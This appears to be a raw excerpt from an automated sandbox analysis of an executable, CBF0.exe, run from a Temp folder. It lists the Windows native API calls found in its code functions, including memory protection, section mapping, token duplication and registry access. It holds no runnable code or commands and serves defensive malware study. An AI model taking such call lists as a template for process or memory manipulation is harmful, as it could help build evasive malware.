Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618BB6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B619BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B619BBE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B60138A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A3A0 ZwGetCompleteWnfStateSubscription,	29_2_6B58A3A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6B574BAD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618A62
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589A50 ZwCreateFile,	29_2_6B589A50
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	29_2_6B549240
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	29_2_6B5D1242
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6B545210
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589A00 ZwProtectVirtualMemory,	29_2_6B589A00
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	29_2_6B57B230
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589A30 ZwTerminateThread,	29_2_6B589A30
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B548239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	29_2_6B548239
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B544A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	29_2_6B544A20
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	29_2_6B618214
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D4A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,	29_2_6B5D4A28
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	29_2_6B56A229
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	29_2_6B56FAD0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1AD6 ZwFreeVirtualMemory,	29_2_6B5D1AD6
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AAC0 ZwQueryWnfStateNameInformation,	29_2_6B58AAC0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589AE0 ZwTraceEvent,	29_2_6B589AE0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AAE0 ZwRaiseException,	29_2_6B58AAE0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618ADD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	29_2_6B57D294
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AA90 ZwQuerySystemInformationEx,	29_2_6B58AA90
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	29_2_6B54429E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B562280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	29_2_6B562280
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B280 ZwWow64DebuggerCall,	29_2_6B58B280
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	29_2_6B57DA88
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589AB0 ZwWaitForMultipleObjects,	29_2_6B589AB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57E2BB ZwWaitForAlertByThreadId,	29_2_6B57E2BB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B541AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	29_2_6B541AA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B575AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	29_2_6B575AA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	29_2_6B54F150
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618966
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B150 ZwUnsubscribeWnfStateChange,	29_2_6B58B150
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	29_2_6B54395E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	29_2_6B56B944
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D976 ZwCreateFile,ZwCreateFile,	29_2_6B57D976
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	29_2_6B54B171
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1976 ZwCreateEvent,	29_2_6B5D1976
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B160 ZwUpdateWnfStateData,	29_2_6B58B160
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A160 ZwCreateWorkerFactory,	29_2_6B58A160
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B549100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	29_2_6B549100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B550100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	29_2_6B550100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589900 ZwOpenEvent,	29_2_6B589900
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F13B ZwOpenKey,ZwCreateKey,	29_2_6B61F13B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5E5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,	29_2_6B5E5100
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D193B ZwRaiseException,ZwTerminateProcess,	29_2_6B5D193B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A130 ZwCreateWaitCompletionPacket,	29_2_6B58A130
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589920 ZwDuplicateToken,	29_2_6B589920
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6189E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B6189E7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	29_2_6B5D19C8
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B6049A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6B6049A4
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589990 ZwQueryVolumeInformationFile,	29_2_6B589990
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6B54519E
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	29_2_6B56C182
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	29_2_6B61F1B5
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B180 ZwWaitForAlertByThreadId,	29_2_6B58B180
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589980 ZwCreateEvent,	29_2_6B589980
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	29_2_6B5F6186
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5C51BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	29_2_6B5C51BE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A9B0 ZwQueryLicenseValue,	29_2_6B58A9B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,	29_2_6B57C9BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B60A189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	29_2_6B60A189
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B1A0 ZwWaitForKeyedEvent,	29_2_6B58B1A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B545050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	29_2_6B545050
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589850 ZwQueryDirectoryFile,	29_2_6B589850
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589840 ZwDelayExecution,	29_2_6B589840
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	29_2_6B5D1879
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618858 ZwAlertThreadByThreadId,	29_2_6B618858
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B55106F ZwOpenKey,ZwClose,	29_2_6B55106F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	29_2_6B54F018
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589830 ZwOpenFile,	29_2_6B589830
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B574020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	29_2_6B574020
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B61F019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	29_2_6B61F019
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5898D0 ZwQueryAttributesFile,	29_2_6B5898D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A0D0 ZwCreateTimer2,	29_2_6B58A0D0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5810D7 ZwOpenKey,ZwCreateKey,	29_2_6B5810D7
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5470C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	29_2_6B5470C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5800C2 ZwAlertThreadByThreadId,	29_2_6B5800C2
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	29_2_6B54B8F0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5440FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	29_2_6B5440FD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F60E9 ZwOpenKey,ZwClose,ZwClose,	29_2_6B5F60E9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6B56E090
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58A890 ZwQueryDebugFilterState,	29_2_6B58A890
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589890 ZwFsControlFile,	29_2_6B589890
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58108B ZwClose,	29_2_6B58108B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B543880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	29_2_6B543880
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	29_2_6B57A080
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	29_2_6B57F0BF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B0B0 ZwTraceControl,	29_2_6B58B0B0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5718B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	29_2_6B5718B9
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B56F0AE ZwSetInformationWorkerFactory,	29_2_6B56F0AE
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F60A2 ZwQueryInformationFile,	29_2_6B5F60A2
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	29_2_6B5D5F5F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589750 ZwQueryInformationThread,	29_2_6B589750
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B618F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B618F6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B580F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	29_2_6B580F48
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589740 ZwOpenThreadToken,	29_2_6B589740
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	29_2_6B57174B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589F70 ZwCreateIoCompletion,	29_2_6B589F70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589770 ZwSetInformationFile,	29_2_6B589770
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	29_2_6B5FCF70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	29_2_6B5D176C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B546F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	29_2_6B546F60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AF60 ZwSetTimer2,	29_2_6B58AF60
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,	29_2_6B57CF6A
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589710 ZwQueryInformationToken,	29_2_6B589710
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6715 memset,memcpy,ZwTraceEvent,	29_2_6B5D6715
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B579702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	29_2_6B579702
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	29_2_6B57E730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589730 ZwQueryVirtualMemory,	29_2_6B589730
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FCF30 ZwAlertThreadByThreadId,	29_2_6B5FCF30
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	29_2_6B57DFDF
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AFD0 ZwShutdownWorkerFactory,	29_2_6B58AFD0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	29_2_6B54F7C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5897C0 ZwTerminateProcess,	29_2_6B5897C0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,	29_2_6B57D7CA
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B550FFD RtlInitUnicodeString,ZwQueryValueKey,	29_2_6B550FFD
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D0FEC ZwDuplicateObject,ZwDuplicateObject,	29_2_6B5D0FEC
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5737EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	29_2_6B5737EB
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,	29_2_6B57FF9C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5F5F87 ZwUnmapViewOfSection,	29_2_6B5F5F87
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D5780 DbgPrompt,ZwWow64DebuggerCall,	29_2_6B5D5780
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B542FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B542FB0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5897A0 ZwUnmapViewOfSection,	29_2_6B5897A0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B583FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	29_2_6B583FA0
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6B58B650
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589650 ZwQueryValueKey,	29_2_6B589650
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	29_2_6B5D6652
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6B58B640
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B58AE70 ZwSetInformationWorkerFactory,	29_2_6B58AE70
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589670 ZwQueryInformationProcess,	29_2_6B589670
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B57BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	29_2_6B57BE62
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B613E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	29_2_6B613E22
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B582E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,	29_2_6B582E1C
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5D2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B5D2E14
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	29_2_6B54C600
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5FFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6B5FFE3F
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B54B630 ZwWaitForKeyedEvent,	29_2_6B54B630
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589E30 ZwCancelWaitCompletionPacket,	29_2_6B589E30
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B589E20 ZwCancelTimer2,	29_2_6B589E20
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B5466D4 RtlInitUnicodeString,ZwQueryValueKey,	29_2_6B5466D4
